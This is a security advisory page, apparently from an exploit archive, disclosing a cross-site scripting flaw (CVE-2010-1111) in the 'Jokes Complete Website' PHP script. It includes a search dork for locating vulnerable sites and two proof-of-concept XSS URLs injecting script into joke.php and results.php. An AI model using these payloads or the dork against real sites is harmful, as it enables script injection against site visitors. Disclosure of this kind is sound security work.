Jokes Complete Website Cross Site Scripting Vulnerability

2010.03.28
Credit: indoushka
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2010-1111
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

======================================================================================== | # Title : Jokes Complete Website Cross Site Scripting Vulnerability | # Author : indoushka | # email : indoushka@hotmail.com | # Home : www.iq-ty.com | # Web Site : http://www.ziddu.com/download/8197307/jokes-complete-website-php-script.rar.html | # Dork : Powered by EasySiteNetwork | # Script : Funny Jokes | Great Recipes | Fun Quizzes | # Tested on: windows SP2 Franais V.(Pnx2 2.0) + Lunix Franais v.(9.4 Ubuntu) | # Bug : XSS ====================== Exploit By indoushka ================================= # Exploit : 1- http://127.0.0.1/Jokes/joke.php?id=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>&listtype=1 http://127.0.0.1/Jokes/results.php?searchingred=<img+src=http://127.0.0.1/cars.jpg+onload=alert(213771818860)> ================================ Dz-Ghost Team ======================================== Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Redda * Saoucha * Star08 -------------------------------------------------------------------------------------------

References:

http://xforce.iss.net/xforce/xfdb/55761
http://www.securityfocus.com/bid/37852
http://www.packetstormsecurity.com/1001-exploits/jokescomplete-xss.txt


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top